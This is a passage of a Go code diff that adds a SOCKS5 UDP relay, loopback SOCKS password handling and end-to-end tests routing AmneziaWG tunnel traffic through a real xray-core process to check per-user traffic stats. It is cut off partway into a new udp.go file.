+	if hdr[1] != 0x00 {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: SOCKS5 request failed (reply code %d)", hdr[1])
+	}
+	addr, err := readSocks5Addr(r, hdr[3])
+	if err != nil {
+		return netip.AddrPort{}, err
+	}
+	var portBytes [2]byte
+	if _, err := io.ReadFull(r, portBytes[:]); err != nil {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply port: %w", err)
+	}
+	return netip.AddrPortFrom(addr, binary.BigEndian.Uint16(portBytes[:])), nil
+}
+
+// readSocks5Addr reads the address portion of a SOCKS5 reply for the given
+// address type (IPv4, IPv6, or domain -- resolved locally since a loopback
+// Xray inbound is not expected to reply with one, but it's cheap to handle
+// correctly rather than fail oddly if it ever does).
+func readSocks5Addr(r io.Reader, atyp byte) (netip.Addr, error) {
+	switch atyp {
+	case 0x01:
+		var b [4]byte
+		if _, err := io.ReadFull(r, b[:]); err != nil {
+			return netip.Addr{}, err
+		}
+		return netip.AddrFrom4(b), nil
+	case 0x04:
+		var b [16]byte
+		if _, err := io.ReadFull(r, b[:]); err != nil {
+			return netip.Addr{}, err
+		}
+		return netip.AddrFrom16(b), nil
+	case 0x03:
+		var l [1]byte
+		if _, err := io.ReadFull(r, l[:]); err != nil {
+			return netip.Addr{}, err
+		}
+		name := make([]byte, l[0])
+		if _, err := io.ReadFull(r, name); err != nil {
+			return netip.Addr{}, err
+		}
+		resolved, err := net.ResolveIPAddr("ip", string(name))
+		if err != nil {
+			return netip.Addr{}, fmt.Errorf("amneziawgnet: resolve SOCKS5 domain reply %q: %w", name, err)
+		}
+		addr, ok := netip.AddrFromSlice(resolved.IP)
+		if !ok {
+			return netip.Addr{}, fmt.Errorf("amneziawgnet: unparseable resolved SOCKS5 domain reply address")
+		}
+		return addr, nil
+	default:
+		return netip.Addr{}, fmt.Errorf("amneziawgnet: unsupported SOCKS5 address type %d", atyp)
+	}
+}
+
+// Close ends the UDP ASSOCIATE session: closing ctrl tells the SOCKS5
+// server to tear down its relay side too (RFC 1928).
+func (s *socks5UDPSession) Close() error {
+	s.udpConn.Close()
+	return s.ctrl.Close()
+}
+
+// sendTo wraps payload in a SOCKS5 UDP request header addressed to dest and
+// sends it to the session's relay endpoint.
+func (s *socks5UDPSession) sendTo(dest netip.AddrPort, payload []byte) error {
+	hdr := make([]byte, 0, 3+1+16+2+len(payload))
+	hdr = append(hdr, 0x00, 0x00, 0x00) // RSV RSV FRAG(=0, no fragmentation)
+	if dest.Addr().Is4() {
+		b := dest.Addr().As4()
+		hdr = append(hdr, 0x01)
+		hdr = append(hdr, b[:]...)
+	} else {
+		b := dest.Addr().As16()
+		hdr = append(hdr, 0x04)
+		hdr = append(hdr, b[:]...)
+	}
+	var portBytes [2]byte
+	binary.BigEndian.PutUint16(portBytes[:], dest.Port())
+	hdr = append(hdr, portBytes[:]...)
+	hdr = append(hdr, payload...)
+	_, err := s.udpConn.Write(hdr)
+	return err
+}
+
+// receive reads one reply datagram into buf, returning the address the
+// SOCKS5 server says it came from and the actual payload (a sub-slice of
+// buf -- valid only until the next receive call).
+func (s *socks5UDPSession) receive(buf []byte) (netip.AddrPort, []byte, error) {
+	n, err := s.udpConn.Read(buf)
+	if err != nil {
+		return netip.AddrPort{}, nil, err
+	}
+	data := buf[:n]
+	if len(data) < 4 {
+		return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: short SOCKS5 UDP reply (%d bytes)", n)
+	}
+	atyp := data[3]
+	data = data[4:]
+	addr, err := readSocks5Addr(bytesReader{data}, atyp)
+	if err != nil {
+		return netip.AddrPort{}, nil, err
+	}
+	switch atyp {
+	case 0x01:
+		data = data[4:]
+	case 0x04:
+		data = data[16:]
+	}
+	if len(data) < 2 {
+		return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: truncated SOCKS5 UDP reply port")
+	}
+	port := binary.BigEndian.Uint16(data[:2])
+	return netip.AddrPortFrom(addr, port), data[2:], nil
+}
+
+// bytesReader is the minimal io.Reader readSocks5Addr needs, over an
+// in-memory slice that's already fully available (a received UDP
+// datagram) -- avoids pulling in bytes.Reader just for this.
+type bytesReader struct{ b []byte }
+
+func (r bytesReader) Read(p []byte) (int, error) {
+	n := copy(p, r.b)
+	if n < len(p) {
+		return n, io.ErrUnexpectedEOF
+	}
+	return n, nil
+}
+
+// UDPRelay tracks one SOCKS5 UDP ASSOCIATE session per source (tunnel-
+// internal client) flow, relaying each into r's SOCKS5 inbound and writing
+// replies back through gstack -- the UDP counterpart of RelayTCP, meant to
+// be driven by an AttachUDPHandler callback (see udp.go).
+type UDPRelay struct {
+	relay  SocksRelay
+	gstack *stack.Stack
+
+	mu       sync.Mutex
+	sessions map[string]*socks5UDPSession
+}
+
+// NewUDPRelay creates a UDPRelay for one embedded AmneziaWG Device's stack.
+func NewUDPRelay(relay SocksRelay, gstack *stack.Stack) *UDPRelay {
+	return &UDPRelay{relay: relay, gstack: gstack, sessions: map[string]*socks5UDPSession{}}
+}
+
+// Handle relays one packet from src (the peer's tunnel-internal source) to
+// dst (its real, recovered destination), opening a fresh SOCKS5 UDP
+// ASSOCIATE session for src the first time it's seen (authenticating as
+// email, so Xray attributes the whole flow's stats to the right peer) and
+// reusing it for subsequent packets from the same src.
+func (u *UDPRelay) Handle(src, dst netip.AddrPort, email string, payload []byte) {
+	u.mu.Lock()
+	sess, ok := u.sessions[src.String()]
+	u.mu.Unlock()
+
+	if !ok {
+		var err error
+		sess, err = newSocks5UDPSession(u.relay.Addr, email, u.relay.Password)
+		if err != nil {
+			logger.Warningf("amneziawgnet: UDPRelay: SOCKS5 associate for %q: %v", email, err)
+			return
+		}
+		u.mu.Lock()
+		u.sessions[src.String()] = sess
+		u.mu.Unlock()
+		go u.pump(src, sess)
+	}
+	if err := sess.sendTo(dst, payload); err != nil {
+		logger.Warningf("amneziawgnet: UDPRelay: send to %s: %v", dst, err)
+	}
+}
+
+// pump reads replies from sess and writes them back into the tunnel toward
+// src until the session errors out or goes idle for 2 minutes, then tears
+// it down -- both the map entry and the underlying SOCKS5 association.
+func (u *UDPRelay) pump(src netip.AddrPort, sess *socks5UDPSession) {
+	defer func() {
+		u.mu.Lock()
+		delete(u.sessions, src.String())
+		u.mu.Unlock()
+		sess.Close()
+	}()
+	buf := make([]byte, 65536)
+	for {
+		_ = sess.udpConn.SetReadDeadline(time.Now().Add(2 * time.Minute))
+		from, payload, err := sess.receive(buf)
+		if err != nil {
+			return
+		}
+		if err := WriteUDPReply(u.gstack, from, src, payload); err != nil {
+			logger.Warningf("amneziawgnet: UDPRelay: reply write: %v", err)
+		}
+	}
+}
+
+// Close tears down every open session. Call when the owning Device is
+// closed.
+func (u *UDPRelay) Close() {
+	u.mu.Lock()
+	defer u.mu.Unlock()
+	for k, s := range u.sessions {
+		s.Close()
+		delete(u.sessions, k)
+	}
+}

+ 617 - 0
internal/amneziawgnet/relay_e2e_test.go

@@ -0,0 +1,617 @@
+package amneziawgnet
+
+import (
+	"encoding/json"
+	"fmt"
+	"net"
+	"net/netip"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestSocksRelayAgainstRealXray is Phase 2's real end-to-end proof: a
+// genuine amneziawg-go client completes a real handshake against a Device
+// built by NewDevice, dials a real TCP echo server and sends a real UDP
+// echo datagram, and this package's own AttachTCPForwarder/AttachUDPHandler
+// handlers relay both through RelayTCP/UDPRelay into an *actual xray-core
+// process* (not a mock) running a SOCKS5 inbound built by
+// SocksInboundSettings. Verifies real data round-trips on both protocols,
+// then greps the real process's own debug log for
+// "user>>>{email}>>>traffic>>>{up,down}link" -- the same proof Finding 3 of
+// the migration plan established manually in Phase 0, now permanent,
+// repo-owned test infrastructure. The UDP half in particular is the first
+// real test of this package's hand-rolled SOCKS5 UDP ASSOCIATE client
+// (relay.go) against an independent, authoritative implementation of the
+// protocol rather than a mock this same session wrote.
+//
+// Skipped unless XRAY_E2E_BINARY points at an xray executable built from
+// the same xray-core version as go.mod, matching internal/xray's own
+// TestXrayAPI_E2E convention:
+//
+//	go install github.com/xtls/xray-core/main@<version from go.mod>
+//	XRAY_E2E_BINARY=$GOBIN/main go test ./internal/amneziawgnet -run TestSocksRelayAgainstRealXray -v
+func TestSocksRelayAgainstRealXray(t *testing.T) {
+	bin := os.Getenv("XRAY_E2E_BINARY")
+	if bin == "" {
+		t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
+	}
+
+	localIP, ok := firstNonLoopbackIPv4()
+	if !ok {
+		t.Skip("no non-loopback IPv4 address available on this host")
+	}
+
+	const wantEmail = "[email protected]"
+	const socksPassword = "loopback-only-not-a-real-secret"
+
+	// --- real TCP + UDP echo servers on a real, non-loopback address ---
+	// (dialing 127.0.0.1 as a tunnel-internal destination hangs -- gVisor
+	// won't route loopback out an arbitrary NIC -- so the client dials
+	// localIP instead; it must still be a *real* address since the actual
+	// relay leg is a genuine OS-level dial from the xray-core process, not
+	// anything inside the tunnel's virtual netstack.)
+	tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
+	defer tcpEcho.Close()
+	udpEcho, udpEchoAddr := startUDPEcho(t, localIP)
+	defer udpEcho.Close()
+
+	// --- real embedded AmneziaWG server + client, same shape as Phase 1's tests ---
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58715
+	inst := amneziawg.Instance{
+		Id:            4,
+		InterfaceName: "awgtest4",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.204.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.204.0.2/32"},
+		}},
+	}
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+	idx := NewPeerIndex(inst.Peers)
+
+	// --- real xray-core process with a SOCKS5 inbound built by this package ---
+	socksPort := freePort(t)
+	settingsJSON, err := SocksInboundSettings([]string{wantEmail}, socksPassword)
+	if err != nil {
+		t.Fatalf("SocksInboundSettings: %v", err)
+	}
+	var rawSettings any
+	if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
+		t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
+	}
+	xrayCfg := map[string]any{
+		"log": map[string]any{"loglevel": "debug"},
+		"inbounds": []any{
+			map[string]any{
+				"listen":   "127.0.0.1",
+				"port":     socksPort,
+				"protocol": "socks",
+				"settings": rawSettings,
+				"tag":      "awg-e2e-socks",
+			},
+		},
+		"outbounds": []any{
+			map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
+		},
+		"policy": map[string]any{
+			"levels": map[string]any{
+				"0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
+			},
+		},
+		"stats": map[string]any{},
+	}
+	cfgBytes, err := json.MarshalIndent(xrayCfg, "", "  ")
+	if err != nil {
+		t.Fatalf("marshal xray config: %v", err)
+	}
+	cfgPath := filepath.Join(t.TempDir(), "config.json")
+	if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
+		t.Fatalf("write xray config: %v", err)
+	}
+
+	var xrayLog syncBuffer
+	cmd := exec.Command(bin, "-c", cfgPath)
+	cmd.Stdout = &xrayLog
+	cmd.Stderr = &xrayLog
+	if err := cmd.Start(); err != nil {
+		t.Fatalf("start xray: %v", err)
+	}
+	defer func() {
+		_ = cmd.Process.Kill()
+		_, _ = cmd.Process.Wait()
+	}()
+	waitForPort(t, socksPort)
+
+	socksAddr := fmt.Sprintf("127.0.0.1:%d", socksPort)
+	relay := SocksRelay{Addr: socksAddr, Password: socksPassword}
+	udpRelay := NewUDPRelay(relay, dev.Stack)
+	defer udpRelay.Close()
+
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
+		if err != nil {
+			conn.Close()
+			return
+		}
+		peer, ok := idx.Lookup(srcAddrPort.Addr().Unmap())
+		if !ok {
+			conn.Close()
+			return
+		}
+		relay.RelayTCP(conn, peer.Email, dest)
+	})
+	AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+		peer, ok := idx.Lookup(src.Addr())
+		if !ok {
+			return
+		}
+		udpRelay.Handle(src, dst, peer.Email, payload)
+	})
+
+	// Configure (IpcSet) must come after both attaches -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	// --- real client, real handshake, real traffic through the whole chain ---
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.204.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	// TCP round trip.
+	const tcpMsg = "hello over amneziawgnet+socks5+xray"
+	dialDeadline := time.Now().Add(10 * time.Second)
+	var tcpConn interface {
+		Write([]byte) (int, error)
+		Read([]byte) (int, error)
+		Close() error
+	}
+	for {
+		c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
+		if dialErr == nil {
+			tcpConn = c
+			break
+		}
+		if time.Now().After(dialDeadline) {
+			t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
+		}
+		time.Sleep(150 * time.Millisecond)
+	}
+	defer tcpConn.Close()
+	if _, err := tcpConn.Write([]byte(tcpMsg)); err != nil {
+		t.Fatalf("client TCP write: %v", err)
+	}
+	tcpBuf := make([]byte, len(tcpMsg))
+	if _, err := readFull(tcpConn, tcpBuf, 10*time.Second); err != nil {
+		t.Fatalf("client TCP read: %v", err)
+	}
+	if string(tcpBuf) != tcpMsg {
+		t.Errorf("TCP echo = %q, want %q", tcpBuf, tcpMsg)
+	}
+
+	// UDP round trip.
+	const udpMsg = "hello-udp-over-socks5"
+	uconn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, udpEchoAddr)
+	if err != nil {
+		t.Fatalf("client DialUDPAddrPort: %v", err)
+	}
+	defer uconn.Close()
+	udpDeadline := time.Now().Add(10 * time.Second)
+	var udpBuf [256]byte
+	var gotUDP string
+	for time.Now().Before(udpDeadline) {
+		_ = uconn.SetWriteDeadline(time.Now().Add(300 * time.Millisecond))
+		if _, err := uconn.Write([]byte(udpMsg)); err != nil {
+			continue
+		}
+		_ = uconn.SetReadDeadline(time.Now().Add(300 * time.Millisecond))
+		n, err := uconn.Read(udpBuf[:])
+		if err == nil {
+			gotUDP = string(udpBuf[:n])
+			break
+		}
+	}
+	if gotUDP != udpMsg {
+		t.Fatalf("UDP echo = %q, want %q (xray log follows)\n%s", gotUDP, udpMsg, xrayLog.String())
+	}
+
+	// Real per-peer stats attribution: stop xray so its log is complete, then
+	// look for both directions' counters keyed by the peer's real email --
+	// the exact proof Finding 3 established manually in Phase 0.
+	_ = cmd.Process.Kill()
+	_, _ = cmd.Process.Wait()
+	log := xrayLog.String()
+	wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
+	wantDown := fmt.Sprintf("user>>>%s>>>traffic>>>downlink", wantEmail)
+	if !strings.Contains(log, wantUp) {
+		t.Errorf("xray log missing uplink stats counter %q\nfull log:\n%s", wantUp, log)
+	}
+	if !strings.Contains(log, wantDown) {
+		t.Errorf("xray log missing downlink stats counter %q\nfull log:\n%s", wantDown, log)
+	}
+}
+
+// TestManagerEnsureAutomaticallyWiresRelay is Phase 3's own real proof: unlike
+// TestSocksRelayAgainstRealXray above (which builds a Device and attaches
+// RelayTCP/UDPRelay by hand), this drives everything through the public
+// Manager.Ensure entry point the real app actually calls -- confirming
+// ensureLocked's own forwarder/UDP-handler attachment (added this phase)
+// really does relay a fresh Device's traffic into Xray with zero manual
+// wiring from the caller. Uses the exact port/password
+// (SOCKSPortForInbound/SocksPassword) the Manager computes internally, so
+// this only passes if that internal derivation and the externally-visible
+// contract genuinely agree.
+func TestManagerEnsureAutomaticallyWiresRelay(t *testing.T) {
+	bin := os.Getenv("XRAY_E2E_BINARY")
+	if bin == "" {
+		t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
+	}
+	localIP, ok := firstNonLoopbackIPv4()
+	if !ok {
+		t.Skip("no non-loopback IPv4 address available on this host")
+	}
+
+	const wantEmail = "[email protected]"
+	const listenPort = 58716
+	const inboundID = 5
+
+	tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
+	defer tcpEcho.Close()
+
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	inst := amneziawg.Instance{
+		Id:            inboundID,
+		InterfaceName: "awgtest5",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.205.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.205.0.2/32"},
+		}},
+	}
+
+	// A real xray-core process with a SOCKS5 inbound at exactly the port and
+	// password ensureLocked will derive on its own for this instance --
+	// SocksPassword() is cached (sync.Once), so calling it here first and
+	// again inside Manager.Ensure below returns the identical value.
+	socksPort := SOCKSPortForInbound(inboundID)
+	password := SocksPassword()
+	settingsJSON, err := SocksInboundSettings([]string{wantEmail}, password)
+	if err != nil {
+		t.Fatalf("SocksInboundSettings: %v", err)
+	}
+	var rawSettings any
+	if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
+		t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
+	}
+	xrayCfg := map[string]any{
+		"log": map[string]any{"loglevel": "debug"},
+		"inbounds": []any{
+			map[string]any{
+				"listen":   "127.0.0.1",
+				"port":     socksPort,
+				"protocol": "socks",
+				"settings": rawSettings,
+				"tag":      "awg-e2e-manager",
+			},
+		},
+		"outbounds": []any{
+			map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
+		},
+		"policy": map[string]any{
+			"levels": map[string]any{
+				"0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
+			},
+		},
+		"stats": map[string]any{},
+	}
+	cfgBytes, err := json.MarshalIndent(xrayCfg, "", "  ")
+	if err != nil {
+		t.Fatalf("marshal xray config: %v", err)
+	}
+	cfgPath := filepath.Join(t.TempDir(), "config.json")
+	if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
+		t.Fatalf("write xray config: %v", err)
+	}
+
+	var xrayLog syncBuffer
+	cmd := exec.Command(bin, "-c", cfgPath)
+	cmd.Stdout = &xrayLog
+	cmd.Stderr = &xrayLog
+	if err := cmd.Start(); err != nil {
+		t.Fatalf("start xray: %v", err)
+	}
+	defer func() {
+		_ = cmd.Process.Kill()
+		_, _ = cmd.Process.Wait()
+	}()
+	waitForPort(t, socksPort)
+
+	// A throwaway Manager, not the process-wide singleton, so this test
+	// doesn't interact with any other test's state.
+	m := &Manager{ifaces: map[int]*managed{}}
+	defer m.StopAll()
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Manager.Ensure: %v", err)
+	}
+	dev, _, ok := m.Lookup(inboundID)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+	defer dev.Close() // StopAll would also do this; explicit for clarity
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.205.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	const tcpMsg = "hello via Manager.Ensure's automatic relay wiring"
+	dialDeadline := time.Now().Add(10 * time.Second)
+	var conn net.Conn
+	for {
+		c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
+		if dialErr == nil {
+			conn = c
+			break
+		}
+		if time.Now().After(dialDeadline) {
+			t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
+		}
+		time.Sleep(150 * time.Millisecond)
+	}
+	defer conn.Close()
+	if _, err := conn.Write([]byte(tcpMsg)); err != nil {
+		t.Fatalf("client TCP write: %v", err)
+	}
+	buf := make([]byte, len(tcpMsg))
+	if _, err := readFull(conn, buf, 10*time.Second); err != nil {
+		t.Fatalf("client TCP read: %v", err)
+	}
+	if string(buf) != tcpMsg {
+		t.Errorf("TCP echo = %q, want %q", buf, tcpMsg)
+	}
+
+	_ = cmd.Process.Kill()
+	_, _ = cmd.Process.Wait()
+	log := xrayLog.String()
+	wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
+	if !strings.Contains(log, wantUp) {
+		t.Errorf("xray log missing uplink stats counter %q (Manager.Ensure's automatic relay wiring may not be attributing traffic correctly)\nfull log:\n%s", wantUp, log)
+	}
+}
+
+// firstNonLoopbackIPv4 finds a real, locally-bound IPv4 address suitable as
+// a relay-reachable test destination.
+func firstNonLoopbackIPv4() (netip.Addr, bool) {
+	addrs, err := net.InterfaceAddrs()
+	if err != nil {
+		return netip.Addr{}, false
+	}
+	for _, a := range addrs {
+		ipNet, ok := a.(*net.IPNet)
+		if !ok || ipNet.IP.IsLoopback() {
+			continue
+		}
+		if v4 := ipNet.IP.To4(); v4 != nil {
+			addr, ok := netip.AddrFromSlice(v4)
+			if ok {
+				return addr, true
+			}
+		}
+	}
+	return netip.Addr{}, false
+}
+
+func startTCPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
+	t.Helper()
+	ln, err := net.Listen("tcp", net.JoinHostPort(addr.String(), "0"))
+	if err != nil {
+		t.Fatalf("start TCP echo listener: %v", err)
+	}
+	go func() {
+		for {
+			c, err := ln.Accept()
+			if err != nil {
+				return
+			}
+			go func() {
+				defer c.Close()
+				buf := make([]byte, 4096)
+				for {
+					n, err := c.Read(buf)
+					if n > 0 {
+						if _, werr := c.Write(buf[:n]); werr != nil {
+							return
+						}
+					}
+					if err != nil {
+						return
+					}
+				}
+			}()
+		}
+	}()
+	port := ln.Addr().(*net.TCPAddr).Port
+	return ln, netip.AddrPortFrom(addr, uint16(port))
+}
+
+func startUDPEcho(t *testing.T, addr netip.Addr) (io interface{ Close() error }, ap netip.AddrPort) {
+	t.Helper()
+	pc, err := net.ListenPacket("udp", net.JoinHostPort(addr.String(), "0"))
+	if err != nil {
+		t.Fatalf("start UDP echo listener: %v", err)
+	}
+	go func() {
+		buf := make([]byte, 4096)
+		for {
+			n, raddr, err := pc.ReadFrom(buf)
+			if err != nil {
+				return
+			}
+			if _, err := pc.WriteTo(buf[:n], raddr); err != nil {
+				return
+			}
+		}
+	}()
+	port := pc.LocalAddr().(*net.UDPAddr).Port
+	return pc, netip.AddrPortFrom(addr, uint16(port))
+}
+
+// readFull reads exactly len(buf) bytes or fails after timeout, since
+// gonet.TCPConn (and net.Conn generally) may return short reads.
+func readFull(r interface{ Read([]byte) (int, error) }, buf []byte, timeout time.Duration) (int, error) {
+	deadline := time.Now().Add(timeout)
+	total := 0
+	for total < len(buf) {
+		if time.Now().After(deadline) {
+			return total, fmt.Errorf("timed out after reading %d/%d bytes", total, len(buf))
+		}
+		n, err := r.Read(buf[total:])
+		total += n
+		if err != nil {
+			return total, err
+		}
+	}
+	return total, nil
+}
+
+// syncBuffer is a concurrency-safe bytes buffer for capturing a subprocess's
+// combined stdout/stderr while the test may read it from another goroutine.
+type syncBuffer struct {
+	mu  sync.Mutex
+	buf strings.Builder
+}
+
+func (s *syncBuffer) Write(p []byte) (int, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	return s.buf.Write(p)
+}
+
+func (s *syncBuffer) String() string {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	return s.buf.String()
+}
+
+func freePort(t *testing.T) int {
+	t.Helper()
+	l, err := net.Listen("tcp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer l.Close()
+	return l.Addr().(*net.TCPAddr).Port
+}
+
+func waitForPort(t *testing.T, port int) {
+	t.Helper()
+	deadline := time.Now().Add(15 * time.Second)
+	addr := fmt.Sprintf("127.0.0.1:%d", port)
+	for time.Now().Before(deadline) {
+		conn, err := net.DialTimeout("tcp", addr, time.Second)
+		if err == nil {
+			conn.Close()
+			return
+		}
+		time.Sleep(200 * time.Millisecond)
+	}
+	t.Fatalf("xray port %d did not open in time", port)
+}

+ 49 - 0
internal/amneziawgnet/socks_config.go

@@ -0,0 +1,49 @@
+package amneziawgnet
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"fmt"
+	"sync"
+)
+
+// SOCKSBasePort is the first loopback port used for an AmneziaWG inbound's
+// own Xray SOCKS5 relay inbound (see relay.go/SocksInboundSettings).
+const SOCKSBasePort = 65100
+
+// SOCKSPortForInbound derives one inbound's loopback SOCKS5 relay port from
+// its id, so config generation and the dialing relay never need to negotiate.
+func SOCKSPortForInbound(inboundID int) int {
+	return SOCKSBasePort + inboundID
+}
+
+var (
+	socksPasswordOnce sync.Once
+	socksPassword     string
+)
+
+// SocksPassword returns the process-wide password used to authenticate into
+// every AmneziaWG SOCKS5 relay inbound, generating and caching it once
+// (lazily, on first use) rather than persisting it anywhere: this traffic
+// never leaves loopback, both the config generator (SocksInboundSettings'
+// caller) and the relay dialer (SocksRelay/UDPRelay) live in this same
+// process, and Xray's own generated config is already rebuilt from scratch
+// on every reconcile -- there is nothing for a stored value to survive
+// across that a fresh one wouldn't equally satisfy. Not a real secret (see
+// SocksRelay's own doc comment); this only needs to be unpredictable enough
+// that nothing outside this process could plausibly guess it and dial in
+// over loopback.
+func SocksPassword() string {
+	socksPasswordOnce.Do(func() {
+		var b [24]byte
+		if _, err := rand.Read(b[:]); err != nil {
+			// crypto/rand failing is effectively unrecoverable for a
+			// process that generates real WireGuard keys elsewhere too;
+			// a fixed fallback keeps this from panicking outright.
+			socksPassword = fmt.Sprintf("amneziawgnet-fallback-%x", b)
+			return
+		}
+		socksPassword = base64.RawURLEncoding.EncodeToString(b[:])
+	})
+	return socksPassword
+}

+ 100 - 0
internal/amneziawgnet/udp.go

@@ -0,0 +1,100 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+
+	"gvisor.dev/gvisor/pkg/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/checksum"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+)
+
+// UDPHandler is called for every UDP packet a tunnel client sends, with its
+// source (the peer's tunnel-internal address) and its real,
